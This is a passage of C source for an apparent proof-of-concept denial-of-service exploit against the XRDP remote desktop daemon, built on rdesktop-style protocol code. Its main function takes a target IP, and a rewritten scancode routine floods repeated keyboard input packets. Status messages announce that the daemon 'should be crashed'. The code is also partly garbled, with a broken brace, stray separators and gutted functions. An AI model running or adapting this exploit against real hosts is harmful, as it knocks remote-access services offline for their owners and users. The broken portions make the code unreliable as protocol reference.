prompt_password = False;
|
|
domain[0] = password[0] = shell[0] = directory[0] = 0;
|
|
strcpy(keymapname, "en-us");
|
|
|
|
if (argc == 1)
|
|
{
|
|
fprintf(stderr, "\n[=] Usage: %s <ip address>\n\n", argv[0]);
|
|
return 0;
|
|
}
|
|
|
|
strncpy(server, argv[1], sizeof(server));
|
|
if(!rdp_connect(server, flags, domain, password, shell, directory))
|
|
return 0;
|
|
|
|
fprintf(stderr, "\n[=] Connected to %s\n", argv[1]);
|
|
fprintf(stderr, "[=] Hit CTRL-C if the progress bar stops.\n\n");
|
|
|
|
memset(password, 0, sizeof(password));
|
|
rdp_main_loop();
|
|
fprintf(stderr, "\n[=] Done. Check port 3389 on the remote host.\n\n");
|
|
return 0;
|
|
}
|
|
|
|
|
|
void rdp_send_scancode(uint32 time, uint16 flags, uint8 scancode)
|
|
{
|
|
update_modifier_state(scancode, !(flags & RDP_KEYRELEASE));
|
|
int c1, c2 = 1;
|
|
scancode = '\x1e'; // 0x1e = 0x61 ("A" after parsing.
|
|
|
|
fprintf(stderr, "\tBe patient! It takes about a minute, the RDP packets\n");
|
|
fprintf(stderr, "\tneed to be sent spaced apart or the daemon discards them.\n\n");
|
|
fprintf(stderr, "[=] Progress: ");
|
|
|
|
for (c1 = 1 ; c1 < 100 ; c1++)
|
|
{
|
|
for (c2 = 1 ; c2 < 5 ; c2++)
|
|
{
|
|
//printf("Sending scancode=0x%x, flags=0x%x\n", scancode, flags);
|
|
rdp_send_input(time, RDP_INPUT_SCANCODE, flags, scancode, 0);
|
|
//scancode++;
|
|
}
|
|
|
|
fprintf(stderr, "*");
|
|
sleep(1);
|
|
}
|
|
|
|
fprintf(stderr, "\n[=] The XRDP daemon on target host should be crashed.\n");
|
|
rdp_disconnect();
|
|
exit(1);
|
|
}
|
|
|
|
|
|
/* Output an ASN.1 BER header */
|
|
static void
|
|
ber_out_header(STREAM s, int tagval, int length)
|
|
{
|
|
if (tagval > 0xff)
|
|
{
|
|
out_uint16_be(s, tagval);
|
|
}
|
|
else
|
|
{
|
|
out_uint8(s, tagval);
|
|
}
|
|
|
|
if (length >= 0x80)
|
|
{
|
|
out_uint8(s, 0x82);
|
|
out_uint16_be(s, length);
|
|
}
|
|
else
|
|
out_uint8(s, length);
|
|
}
|
|
|
|
/* Output an ASN.1 BER integer */
|
|
static void
|
|
ber_out_integer(STREAM s, int value)
|
|
{
|
|
ber_out_header(s, BER_TAG_INTEGER, 2);
|
|
out_uint16_be(s, value);
|
|
}
|
|
|
|
|
|
/* Parse an ASN.1 BER header */
|
|
static BOOL
|
|
ber_parse_header(STREAM s, int tagval, int *length)
|
|
{
|
|
int tag, len;
|
|
|
|
if (tagval > 0xff)
|
|
{
|
|
in_uint16_be(s, tag);
|
|
}
|
|
else
|
|
{
|
|
in_uint8(s, tag)}
|
|
|
|
|
|
if (tag != tagval)
|
|
{
|
|
error("expected tag %d, got %d\n", tagval, tag);
|
|
return False;
|
|
}
|
|
|
|
|
|
in_uint8(s, len);
|
|
|
|
if (len & 0x80)
|
|
{
|
|
len &= ~0x80;
|
|
*length = 0;
|
|
while (len--)
|
|
next_be(s, *length);
|
|
}
|
|
else
|
|
*length = len;
|
|
|
|
return s_check(s);
|
|
}
|
|
|
|
|
|
|
|
void
|
|
ensure_remote_modifiers(uint32 ev_time, key_translation tr)
|
|
{
|
|
/* If this key is a modifier, do nothing */
|
|
switch (tr.scancode)
|
|
{
|
|
case SCANCODE_CHAR_LSHIFT:
|
|
case SCANCODE_CHAR_RSHIFT:
|
|
case SCANCODE_CHAR_LCTRL:
|
|
case SCANCODE_CHAR_RCTRL:
|
|
case SCANCODE_CHAR_LALT:
|
|
case SCANCODE_CHAR_RALT:
|
|
case SCANCODE_CHAR_LWIN:
|
|
case SCANCODE_CHAR_RWIN:
|
|
case SCANCODE_CHAR_NUMLOCK:
|
|
return;
|
|
default:
|
|
break;
|
|
}
|
|
|
|
/* Shift. Left shift and right shift are treated as equal; either is fine. */
|
|
if (MASK_HAS_BITS(tr.modifiers, MapShiftMask)
|
|
!= MASK_HAS_BITS(remote_modifier_state, MapShiftMask))
|
|
{
|
|
/* The remote modifier state is not correct */
|
|
if (MASK_HAS_BITS(tr.modifiers, MapLeftShiftMask))
|
|
{
|
|
/* Needs left shift. Send down. */
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS, SCANCODE_CHAR_LSHIFT);
|
|
}
|
|
else if (MASK_HAS_BITS(tr.modifiers, MapRightShiftMask))
|
|
{
|
|
/* Needs right shift. Send down. */
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS, SCANCODE_CHAR_RSHIFT);
|
|
}
|
|
else
|
|
{
|
|
/* Should not use this modifier. Send up for shift currently pressed. */
|
|
if (MASK_HAS_BITS(remote_modifier_state, MapLeftShiftMask))
|
|
/* Left shift is down */
|
|
rdp_send_scancode(ev_time, RDP_KEYRELEASE, SCANCODE_CHAR_LSHIFT);
|
|
else
|
|
/* Right shift is down */
|
|
rdp_send_scancode(ev_time, RDP_KEYRELEASE, SCANCODE_CHAR_RSHIFT);
|
|
}
|
|
}
|
|
|
|
/* AltGr */
|
|
if (MASK_HAS_BITS(tr.modifiers, MapAltGrMask)
|
|
!= MASK_HAS_BITS(remote_modifier_state, MapAltGrMask))
|
|
{
|
|
/* The remote modifier state is not correct */
|
|
if (MASK_HAS_BITS(tr.modifiers, MapAltGrMask))
|
|
{
|
|
/* Needs this modifier. Send down. */
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS, SCANCODE_CHAR_RALT);
|
|
}
|
|
else
|
|
{
|
|
/* Should not use this modifier. Send up. */
|
|
rdp_send_scancode(ev_time, RDP_KEYRELEASE, SCANCODE_CHAR_RALT);
|
|
}
|
|
}
|
|
|
|
/* NumLock */
|
|
if (MASK_HAS_BITS(tr.modifiers, MapNumLockMask)
|
|
!= MASK_HAS_BITS(remote_modifier_state, MapNumLockMask))
|
|
{
|
|
/* The remote modifier state is not correct */
|
|
uint16 new_remote_state = 0;
|
|
|
|
if (MASK_HAS_BITS(tr.modifiers, MapNumLockMask))
|
|
{
|
|
|
|
new_remote_state |= KBD_FLAG_NUMLOCK;
|
|
}
|
|
else
|
|
{
|
|
|
|
}
|
|
|
|
rdp_send_input(0, RDP_INPUT_SYNCHRONIZE, 0, new_remote_state, 0);
|
|
update_modifier_state(SCANCODE_CHAR_NUMLOCK, True);
|
|
}
|
|
}
|
|
|
|
|
|
#ifdef EGD_SOCKET
|
|
/* Read 32 random bytes from PRNGD or EGD socket (based on OpenSSL RAND_egd) */
|
|
static BOOL
|
|
generate_random_egd(uint8 * buf)
|
|
{
|
|
struct sockaddr_un addr;
|
|
BOOL ret = False;
|
|
int fd;
|
|
|
|
fd = socket(AF_UNIX, SOCK_STREAM, 0);
|
|
if (fd == -1)
|
|
return False;
|
|
|
|
addr.sun_family = AF_UNIX;
|
|
memcpy(addr.sun_path, EGD_SOCKET, sizeof(EGD_SOCKET));
|
|
if (connect(fd, (struct sockaddr *) &addr, sizeof(addr)) == -1)
|
|
goto err;
|
|
|
|
/* PRNGD and EGD use a simple communications protocol */
|
|
buf[0] = 1; /* Non-blocking (similar to /dev/urandom) */
|
|
buf[1] = 32; /* Number of requested random bytes */
|
|
if (write(fd, buf, 2) != 2)
|
|
goto err;
|
|
|
|
if ((read(fd, buf, 1) != 1) || (buf[0] == 0)) /* Available? */
|
|
goto err;
|
|
|
|
if (read(fd, buf, 32) != 32)
|
|
goto err;
|
|
|
|
ret = True;
|
|
|
|
err:
|
|
close(fd);
|
|
return ret;
|
|
}
|
|
#endif
|
|
|
|
|
|
/* Handles, for example, multi-scancode keypresses (which is not
|
|
possible via keymap-files) */
|
|
BOOL
|
|
handle_special_keys(uint32 keysym, unsigned int state, uint32 ev_time, BOOL pressed)
|
|
{
|
|
switch (keysym)
|
|
{
|
|
|
|
|
|
case XK_Break:
|
|
/* Send Break sequence E0 46 E0 C6 */
|
|
if (pressed)
|
|
{
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS,
|
|
(SCANCODE_EXTENDED | 0x46));
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS,
|
|
(SCANCODE_EXTENDED | 0xc6));
|
|
}
|
|
/* No release sequence */
|
|
return True;
|
|
|
|
case XK_Pause:
|
|
/* According to MS Keyboard Scan Code
|
|
Specification, pressing Pause should result
|
|
in E1 1D 45 E1 9D C5. I'm not exactly sure
|
|
of how this is supposed to be sent via
|
|
RDP. The code below seems to work, but with
|
|
the side effect that Left Ctrl stays
|
|
down. Therefore, we release it when Pause
|
|
is released. */
|
|
if (pressed)
|
|
{
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYPRESS, 0xe1, 0);
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYPRESS, 0x1d, 0);
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYPRESS, 0x45, 0);
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYPRESS, 0xe1, 0);
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYPRESS, 0x9d, 0);
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYPRESS, 0xc5, 0);
|
|
}
|
|
else
|
|
{
|
|
/* Release Left Ctrl */
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYRELEASE,
|
|
0x1d, 0);
|
|
}
|
|
return True;
|
|
|
|
case XK_Meta_L: /* Windows keys */
|
|
case XK_Super_L:
|
|
case XK_Hyper_L:
|
|
case XK_Meta_R:
|
|
case XK_Super_R:
|
|
case XK_Hyper_R:
|
|
if (pressed)
|
|
{
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS, SCANCODE_CHAR_LCTRL);
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS, SCANCODE_CHAR_ESC);
|
|
}
|
|
else
|
|
{
|
|
rdp_send_scancode(ev_time, RDP_KEYRELEASE, SCANCODE_CHAR_ESC);
|
|
rdp_send_scancode(ev_time, RDP_KEYRELEASE, SCANCODE_CHAR_LCTRL);
|
|
}
|
|
return True;
|
|
}
|
|
return False;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/* Send a self-contained ISO PDU */
|
|
static void
|
|
iso_send_msg(uint8 code)
|
|
{
|
|
STREAM s;
|
|
|
|
s = tcp_init(11);
|
|
|
|
out_uint8(s, 3); /* version */
|
|
out_uint8(s, 0); /* reserved */
|
|
out_uint16_be(s, 11); /* length */
|
|
|
|
out_uint8(s, 6); /* hdrlen */
|
|
out_uint8(s, code);
|
|
out_uint16(s, 0); /* dst_ref */
|
|
out_uint16(s, 0); /* src_ref */
|
|
out_uint8(s, 0); /* class */
|
|
|
|
s_mark_end(s);
|
|
tcp_send(s);
|
|
}
|
|
|
|
/* Receive a message on the ISO layer, return code */
|
|
static STREAM
|
|
iso_recv_msg(uint8 * code)
|
|
{
|
|
STREAM s;
|
|
uint16 length;
|
|
uint8 version;
|
|
|
|
s = tcp_recv(4);
|
|
if (s == NULL)
|
|
return NULL;
|
|
|
|
in_uint8(s, version);
|
|
if (version != 3)
|
|
{
|
|
error("TPKT v%d\n", version);
|
|
return NULL;
|
|
}
|
|
|
|
in_uint8s(s, 1); /* pad */
|
|
in_uint16_be(s, length);
|
|
|
|
s = tcp_recv(length - 4);
|
|
if (s == NULL)
|
|
return NULL;
|
|
|
|
in_uint8s(s, 1); /* hdrlen */
|
|
in_uint8(s, *code);
|
|
|
|
if (*code == ISO_PDU_DT)
|
|
{
|
|
in_uint8s(s, 1); /* eot */
|
|
return s;
|
|
}
|
|
|
|
in_uint8s(s, 5); /* dst_ref, src_ref, class */
|
|
return s;
|
|
}
|
|
|
|
/* Initialise ISO transport data packet */
|
|
STREAM
|
|
iso_init(int length)
|
|
{
|
|
STREAM s;
|
|
|
|
s = tcp_init(length + 7);
|
|
s_push_layer(s, iso_hdr, 7);
|
|
|
|
return s;
|
|
}
|
|
|
|
/* Send an ISO data PDU */
|
|
void
|
|
iso_send(STREAM s)
|
|
{
|
|
uint16 length;
|
|
|
|
s_pop_layer(s, iso_hdr);
|
|
length = s->end - s->p;
|
|
|
|
out_uint8(s, 3); /* version */
|
|
out_uint8(s, 0); /* reserved */
|
|
out_uint16_be(s, length);
|
|
|
|
out_uint8(s, 2); /* hdrlen */
|
|
out_uint8(s, ISO_PDU_DT); /* code */
|
|
out_uint8(s, 0x80); /* eot */
|
|
|
|
tcp_send(s);
|
|
}
|
|
|
|
/* Receive ISO transport data packet */
|
|
STREAM
|
|
iso_recv(void)
|
|
{
|
|
STREAM s;
|
|
uint8 code;
|
|
|
|
s = iso_recv_msg(&code);
|
|
if (s == NULL)
|
|
return NULL;
|
|
|
|
if (code != ISO_PDU_DT)
|
|
{
|
|
error("expected DT, got 0x%x\n", code);
|
|
return NULL;
|
|
}
|
|
|
|
return s;
|
|
}
|
|
|
|
/* Establish a connection up to the ISO layer */
|
|
BOOL
|
|
iso_connect(char *server)
|
|
{
|
|
uint8 code;
|
|
|
|
if (!tcp_connect(server))
|
|
return False;
|
|
|
|
iso_send_msg(ISO_PDU_CR);
|
|
|
|
if (iso_recv_msg(&code) == NULL)
|
|
return False;
|
|
|
|
if (code != ISO_PDU_CC)
|
|
{
|
|
error("expected CC, got 0x%x\n", code);
|
|
tcp_disconnect();
|
|
return False;
|
|
}
|
|
|
|
return True;
|
|
}
|
|
|
|
/* Disconnect from the ISO layer */
|
|
void
|
|
iso_disconnect(void)
|
|
{
|
|
iso_send_msg(ISO_PDU_DR);
|
|
tcp_disconnect();
|
|
}
|
|
|
|
|
|
|
|
/* Generate a session key and RC4 keys, given client and server randoms */
|
|
static void
|
|
licence_generate_keys(uint8 * client_key, uint8 * server_key, uint8 * client_rsa)
|
|
{
|
|
uint8 session_key[48];
|
|
uint8 temp_hash[48];
|
|
|
|
/* Generate session key - two rounds of sec_hash_48 */
|
|
sec_hash_48(temp_hash, client_rsa, client_key, server_key, 65);
|
|
sec_hash_48(session_key, temp_hash, server_key, client_key, 65);
|
|
|
|
/* Store first 16 bytes of session key, for generating signatures */
|
|
memcpy(licence_sign_key, session_key, 16);
|
|
|
|
/* Generate RC4 key */
|
|
sec_hash_16(licence_key, &session_key[16], client_key, server_key);
|
|
}
|
|
|
|
|
|
|
|
/* Send a licence request packet */
|
|
static void
|
|
licence_send_request(uint8 * client_random, uint8 * rsa_data, char *user, char *host)
|
|
{
|
|
uint32 sec_flags = SEC_LICENCE_NEG;
|
|
uint16 userlen = strlen(user) + 1;
|
|
uint16 hostlen = strlen(host) + 1;
|
|
uint16 length = 128 + userlen + hostlen;
|
|
STREAM s;
|
|
|
|
s = sec_init(sec_flags, length + 2);
|
|
|
|
out_uint16_le(s, LICENCE_TAG_REQUEST);
|
|
out_uint16_le(s, length);
|
|
|
|
out_uint32_le(s, 1);
|
|
out_uint16(s, 0);
|
|
out_uint16_le(s, 0xff01);
|
|
|
|
out_uint8p(s, client_random, SEC_RANDOM_SIZE);
|
|
out_uint16(s, 0);
|
|
out_uint16_le(s, (SEC_MODULUS_SIZE + SEC_PADDING_SIZE));
|
|
out_uint8p(s, rsa_data, SEC_MODULUS_SIZE);
|
|
out_uint8s(s, SEC_PADDING_SIZE);
|
|
|
|
out_uint16(s, LICENCE_TAG_USER);
|
|
out_uint16(s, userlen);
|
|
out_uint8p(s, user, userlen);
|
|
|
|
out_uint16(s, LICENCE_TAG_HOST);
|
|
out_uint16(s, hostlen);
|
|
out_uint8p(s, host, hostlen);
|
|
|
|
s_mark_end(s);
|
|
sec_send(s, sec_flags);
|
|
}
|
|
|
|
/* Process a licence demand packet */
|
|
static void
|
|
licence_process_demand(STREAM s)
|
|
{
|
|
uint8 null_data[SEC_MODULUS_SIZE];
|
|
uint8 *server_random;
|
|
#ifdef SAVE_LICENCE
|
|
uint8 signature[LICENCE_SIGNATURE_SIZE];
|
|
uint8 hwid[LICENCE_HWID_SIZE];
|
|
uint8 *licence_data;
|
|
int licence_size;
|
|
RC4_KEY crypt_key;
|
|
#endif
|
|
|
|
/* Retrieve the server random from the incoming packet */
|
|
in_uint8p(s, server_random, SEC_RANDOM_SIZE);
|
|
|
|
/* We currently use null client keys. This is a bit naughty but, hey,
|
|
the security of licence negotiation isn't exactly paramount. */
|
|
memset(null_data, 0, sizeof(null_data));
|
|
licence_generate_keys(null_data, server_random, null_data);
|
|
|
|
#ifdef SAVE_LICENCE
|
|
licence_size = load_licence(&licence_data);
|
|
if (licence_size != -1)
|
|
{
|
|
/* Generate a signature for the HWID buffer */
|
|
licence_generate_hwid(hwid);
|
|
sec_sign(signature, 16, licence_sign_key, 16, hwid, sizeof(hwid));
|
|
|
|
/* Now encrypt the HWID */
|
|
RC4_set_key(&crypt_key, 16, licence_key);
|
|
RC4(&crypt_key, sizeof(hwid), hwid, hwid);
|
|
|
|
licence_present(null_data, null_data, licence_data, licence_size, hwid, signature);
|
|
xfree(licence_data);
|
|
return;
|
|
}
|
|
#endif
|
|
|
|
licence_send_request(null_data, null_data, username, hostname);
|
|
}
|
|
|
|
|
|
/* Process a licence packet */
|
|
void
|
|
licence_process(STREAM s)
|
|
{
|
|
uint16 tag;
|
|
|
|
in_uint16_le(s, tag);
|
|
in_uint8s(s, 2); /* length */
|
|
|
|
switch (tag)
|
|
{
|
|
case LICENCE_TAG_DEMAND:
|
|
|
|
licence_process_demand(s);
|
|
break;
|
|
|
|
case LICENCE_TAG_AUTHREQ:
|
|
// licence_process_authreq(s);
|
|
break;
|
|
|
|
case LICENCE_TAG_ISSUE:
|
|
// licence_process_issue(s);
|
|
break;
|
|
|
|
case LICENCE_TAG_REISSUE:
|
|
break;
|
|
|
|
case LICENCE_TAG_RESULT:
|
|
break;
|
|
|
|
|
|
}
|
|
}
|
|
|
|
|
|
/* Establish a connection up to the MCS layer */
|
|
BOOL
|
|
mcs_connect(char *server, STREAM mcs_data)
|
|
{
|
|
if (!iso_connect(server))
|
|
return False;
|
|
|
|
mcs_send_connect_initial(mcs_data);
|
|
if (!mcs_recv_connect_response(mcs_data))
|
|
goto error;
|
|
|
|
mcs_send_edrq();
|
|
|
|
mcs_send_aurq();
|
|
if (!mcs_recv_aucf(&mcs_userid))
|
|
goto error;
|
|
|
|
mcs_send_cjrq(mcs_userid + 1001);
|
|
if (!mcs_recv_cjcf())
|
|
goto error;
|
|
|
|
mcs_send_cjrq(MCS_GLOBAL_CHANNEL);
|
|
if (!mcs_recv_cjcf())
|
|
goto error;
|
|
|
|
return True;
|
|
|
|
error:
|
|
iso_disconnect();
|
|
return False;
|
|
}
|
|
|
|
/* Disconnect from the MCS layer */
|
|
void
|
|
mcs_disconnect(void)
|
|
{
|
|
iso_disconnect();
|
|
}
|
|
|
|
|
|
|
|
/* Initialise an MCS transport data packet */
|
|
STREAM
|
|
mcs_init(int length)
|
|
{
|
|
STREAM s;
|
|
|
|
s = iso_init(length + 8);
|
|
s_push_layer(s, mcs_hdr, 8);
|
|
|
|
return s;
|
|
}
|
|
|
|
|
|
/* Output a DOMAIN_PARAMS structure (ASN.1 BER) */
|
|
static void
|
|
mcs_out_domain_params(STREAM s, int max_channels, int max_users, int max_tokens, int max_pdusize)
|
|
{
|
|
ber_out_header(s, MCS_TAG_DOMAIN_PARAMS, 32);
|
|
ber_out_integer(s, max_channels);
|
|
ber_out_integer(s, max_users);
|
|
ber_out_integer(s, max_tokens);
|
|
ber_out_integer(s, 1); /* num_priorities */
|
|
ber_out_integer(s, 0); /* min_throughput */
|
|
ber_out_integer(s, 1); /* max_height */
|
|
ber_out_integer(s, max_pdusize);
|
|
ber_out_integer(s, 2); /* ver_protocol */
|
|
}
|
|
|
|
|
|
|
|
|
|
/* Receive an MCS transport data packet */
|
|
STREAM
|
|
mcs_recv(void)
|
|
{
|
|
uint8 opcode, appid, length;
|
|
STREAM s;
|
|
|
|
s = iso_recv();
|
|
if (s == NULL)
|
|
return NULL;
|
|
|
|
in_uint8(s, opcode);
|
|
appid = opcode >> 2;
|
|
if (appid != MCS_SDIN)
|
|
{
|
|
if (appid != MCS_DPUM)
|
|
{
|
|
error("expected data, got %d\n", opcode);
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
in_uint8s(s, 5); /* userid, chanid, flags */
|
|
in_uint8(s, length);
|
|
if (length & 0x80)
|
|
in_uint8s(s, 1); /* second byte of length */
|
|
|
|
return s;
|
|
}
|
|
|
|
|
|
|
|
/* Expect a AUcf message (ASN.1 PER) */
|
|
static BOOL
|
|
mcs_recv_aucf(uint16 * mcs_userid)
|
|
{
|
|
uint8 opcode, result;
|
|
STREAM s;
|
|
|
|
s = iso_recv();
|
|
if (s == NULL)
|
|
return False;
|
|
|
|
in_uint8(s, opcode);
|
|
if ((opcode >> 2) != MCS_AUCF)
|
|
{
|
|
error("expected AUcf, got %d\n", opcode);
|
|
return False;
|
|
}
|
|
|
|
in_uint8(s, result);
|
|
if (result != 0)
|
|
{
|
|
error("AUrq: %d\n", result);
|
|
return False;
|
|
}
|
|
|
|
if (opcode & 2)
|
|
in_uint16_be(s, *mcs_userid);
|
|
|
|
return s_check_end(s);
|
|
}
|
|
|
|
|
|
/* Expect a CJcf message (ASN.1 PER) */
|
|
static BOOL
|
|
mcs_recv_cjcf(void)
|
|
{
|
|
uint8 opcode, result;
|
|
STREAM s;
|
|
|
|
s = iso_recv();
|
|
if (s == NULL)
|
|
return False;
|
|
|
|
in_uint8(s, opcode);
|
|
if ((opcode >> 2) != MCS_CJCF)
|
|
{
|
|
error("expected CJcf, got %d\n", opcode);
|
|
return False;
|
|
}
|
|
|
|
in_uint8(s, result);
|
|
if (result != 0)
|
|
{
|
|
error("CJrq: %d\n", result);
|
|
return False;
|
|
}
|
|
|
|
in_uint8s(s, 4); /* mcs_userid, req_chanid */
|
|
if (opcode & 2)
|
|
in_uint8s(s, 2); /* join_chanid */
|
|
|
|
return s_check_end(s);
|
|
}
|
|
|
|
|
|
/* Parse a DOMAIN_PARAMS structure (ASN.1 BER) */
|
|
static BOOL
|
|
mcs_parse_domain_params(STREAM s)
|
|
{
|
|
int length;
|
|
|
|
ber_parse_header(s, MCS_TAG_DOMAIN_PARAMS, &length);
|
|
in_uint8s(s, length);
|
|
|
|
return s_check(s);
|
|
}
|
|
|
|
|
|
/* Expect a MCS_CONNECT_RESPONSE message (ASN.1 BER) */
|
|
static BOOL
|
|
mcs_recv_connect_response(STREAM mcs_data)
|
|
{
|
|
uint8 result;
|
|
int length;
|
|
STREAM s;
|
|
|
|
s = iso_recv();
|
|
if (s == NULL)
|
|
return False;
|
|
|
|
ber_parse_header(s, MCS_CONNECT_RESPONSE, &length);
|
|
|
|
ber_parse_header(s, BER_TAG_RESULT, &length);
|
|
in_uint8(s, result);
|
|
if (result != 0)
|
|
{
|
|
error("MCS connect: %d\n", result);
|
|
return False;
|
|
}
|
|
|
|
ber_parse_header(s, BER_TAG_INTEGER, &length);
|
|
in_uint8s(s, length); /* connect id */
|
|
|
|
mcs_parse_domain_params(s);
|
|
|
|
ber_parse_header(s, BER_TAG_OCTET_STRING, &length);
|
|
if (length > mcs_data->size)
|
|
{
|
|
error("MCS data length %d\n", length);
|
|
length = mcs_data->size;
|
|
}
|
|
|
|
in_uint8a(s, mcs_data->data, length);
|
|
mcs_data->p = mcs_data->data;
|
|
mcs_data->end = mcs_data->data + length;
|
|
|
|
return s_check_end(s);
|
|
}
|
|
|
|
|
|
/* Send an MCS transport data packet */
|
|
void
|
|
mcs_send(STREAM s)
|
|
{
|
|
uint16 length;
|
|
|
|
s_pop_layer(s, mcs_hdr);
|
|
length = s->end - s->p - 8;
|
|
length |= 0x8000;
|
|
|
|
out_uint8(s, (MCS_SDRQ << 2));
|
|
out_uint16_be(s, mcs_userid);
|
|
out_uint16_be(s, MCS_GLOBAL_CHANNEL);
|
|
out_uint8(s, 0x70); /* flags */
|
|
out_uint16_be(s, length);
|
|
|
|
iso_send(s);
|
|
}
|
|
|
|
|
|
/* Send an AUrq message (ASN.1 PER) */
|
|
static void
|
|
mcs_send_aurq(void)
|
|
{
|
|
STREAM s;
|
|
|
|
s = iso_init(1);
|
|
|
|
out_uint8(s, (MCS_AURQ << 2));
|
|
|
|
s_mark_end(s);
|
|
iso_send(s);
|
|
}
|
|
|
|
|
|
/* Send a CJrq message (ASN.1 PER) */
|
|
static void
|
|
mcs_send_cjrq(uint16 chanid)
|
|
{
|
|
STREAM s;
|
|
|
|
s = iso_init(5);
|
|
|
|
out_uint8(s, (MCS_CJRQ << 2));
|
|
out_uint16_be(s, mcs_userid);
|
|
out_uint16_be(s, chanid);
|
|
|
|
s_mark_end(s);
|
|
iso_send(s);
|
|
}
|
|
|
|
|
|
/* Send an MCS_CONNECT_INITIAL message (ASN.1 BER) */
|
|
static void
|
|
mcs_send_connect_initial(STREAM mcs_data)
|
|
{
|
|
int datalen = mcs_data->end - mcs_data->data;
|
|
int length = 7 + 3 * 34 + 4 + datalen;
|
|
STREAM s;
|
|
|
|
s = iso_init(length + 5);
|
|
|
|
ber_out_header(s, MCS_CONNECT_INITIAL, length);
|
|
ber_out_header(s, BER_TAG_OCTET_STRING, 0); /* calling domain */
|
|
ber_out_header(s, BER_TAG_OCTET_STRING, 0); /* called domain */
|
|
|
|
ber_out_header(s, BER_TAG_BOOLEAN, 1);
|
|
out_uint8(s, 0xff); /* upward flag */
|
|
|
|
mcs_out_domain_params(s, 2, 2, 0, 0xffff); /* target params */
|
|
mcs_out_domain_params(s, 1, 1, 1, 0x420); /* min params */
|
|
mcs_out_domain_params(s, 0xffff, 0xfc17, 0xffff, 0xffff); /* max params */
|
|
|
|
ber_out_header(s, BER_TAG_OCTET_STRING, datalen);
|
|
out_uint8p(s, mcs_data->data, datalen);
|
|
|
|
s_mark_end(s);
|
|
iso_send(s);
|
|
}
|
|
|
|
|
|
/* Send an EDrq message (ASN.1 PER) */
|
|
static void
|
|
mcs_send_edrq(void)
|
|
{
|
|
STREAM s;
|
|
|
|
s = iso_init(5);
|
|
|
|
out_uint8(s, (MCS_EDRQ << 2));
|
|
out_uint16_be(s, 1); /* height */
|
|
out_uint16_be(s, 1); /* interval */
|
|
|
|
s_mark_end(s);
|
|
iso_send(s);
|
|
}
|
|
|
|
|
|
/* Process data PDU */
|
|
static void
|
|
process_data_pdu(STREAM s)
|
|
{
|
|
uint8 data_pdu_type;
|
|
|
|
in_uint8s(s, 8); /* shareid, pad, streamid, length */
|
|
in_uint8(s, data_pdu_type);
|
|
in_uint8s(s, 3); /* compress_type, compress_len */
|
|
|
|
switch (data_pdu_type)
|
|
{
|
|
case RDP_DATA_PDU_UPDATE:
|
|
process_update_pdu(s);
|
|
break;
|
|
|
|
case RDP_DATA_PDU_POINTER:
|
|
//process_pointer_pdu(s);
|
|
break;
|
|
|
|
case RDP_DATA_PDU_BELL:
|
|
//ui_bell();
|
|
break;
|
|
|
|
case RDP_DATA_PDU_LOGON:
|
|
/* User logged on */
|
|
break;
|
|
|
|
}
|
|
}
|
|
|
|
|
|
/* Respond to a demand active PDU */
|
|
static void
|
|
process_demand_active(STREAM s)
|
|
{
|
|
uint8 type;
|
|
|
|
in_uint32_le(s, rdp_shareid);
|
|
|
|
|
|
|
|
rdp_send_confirm_active();
|
|
rdp_send_synchronise();
|
|
rdp_send_control(RDP_CTL_COOPERATE);
|
|
rdp_send_control(RDP_CTL_REQUEST_CONTROL);
|
|
rdp_recv(&type); /* RDP_PDU_SYNCHRONIZE */
|
|
rdp_recv(&type); /* RDP_CTL_COOPERATE */
|
|
rdp_recv(&type); /* RDP_CTL_GRANT_CONTROL */
|
|
rdp_send_input(0, RDP_INPUT_SYNCHRONIZE, 0, 0, 0);
|
|
rdp_send_fonts(1);
|
|
rdp_send_fonts(2);
|
|
rdp_recv(&type); /* RDP_PDU_UNKNOWN 0x28 */
|
|
reset_order_state();
|
|
}
|
|
|
|
|
|
/* Process an order PDU */
|
|
void
|
|
process_orders(STREAM s)
|
|
{
|
|
RDP_ORDER_STATE *os = &order_state;
|
|
uint32 present;
|
|
uint16 num_orders;
|
|
uint8 order_flags;
|
|
int size, processed = 0;
|
|
BOOL delta;
|
|
|
|
in_uint8s(s, 2); /* pad */
|
|
in_uint16_le(s, num_orders);
|
|
in_uint8s(s, 2); /* pad */
|
|
|
|
while (processed < num_orders)
|
|
{
|
|
in_uint8(s, order_flags);
|
|
|
|
if (!(order_flags & RDP_ORDER_STANDARD))
|
|
{
|
|
error("order parsing failed\n");
|
|
break;
|
|
}
|
|
|
|
if (order_flags & RDP_ORDER_SECONDARY)
|
|
{
|
|
process_secondary_order(s);
|
|
}
|
|
else
|
|
{
|
|
if (order_flags & RDP_ORDER_CHANGE)
|
|
{
|
|
in_uint8(s, os->order_type);
|
|
}
|
|
|
|
switch (os->order_type)
|
|
{
|
|
case RDP_ORDER_TRIBLT:
|
|
case RDP_ORDER_TEXT2:
|
|
size = 3;
|
|
break;
|
|
|
|
case RDP_ORDER_PATBLT:
|
|
case RDP_ORDER_MEMBLT:
|
|
case RDP_ORDER_LINE:
|
|
size = 2;
|
|
break;
|
|
|
|
default:
|
|
size = 1;
|
|
}
|
|
|
|
|
|
delta = order_flags & RDP_ORDER_DELTA;
|
|
|
|
}
|
|
processed++;
|
|
}
|
|
|
|
if (s->p != next_packet)
|
|
error("%d bytes remaining\n", (int) (next_packet - s->p));
|
|
}
|
|
|
|
|
|
/* Process a secondary order */
|
|
static void
|
|
process_secondary_order(STREAM s)
|
|
{
|
|
uint16 length;
|
|
uint8 type;
|
|
uint8 *next_order;
|
|
|
|
in_uint16_le(s, length);
|
|
in_uint8s(s, 2); /* flags */
|
|
in_uint8(s, type);
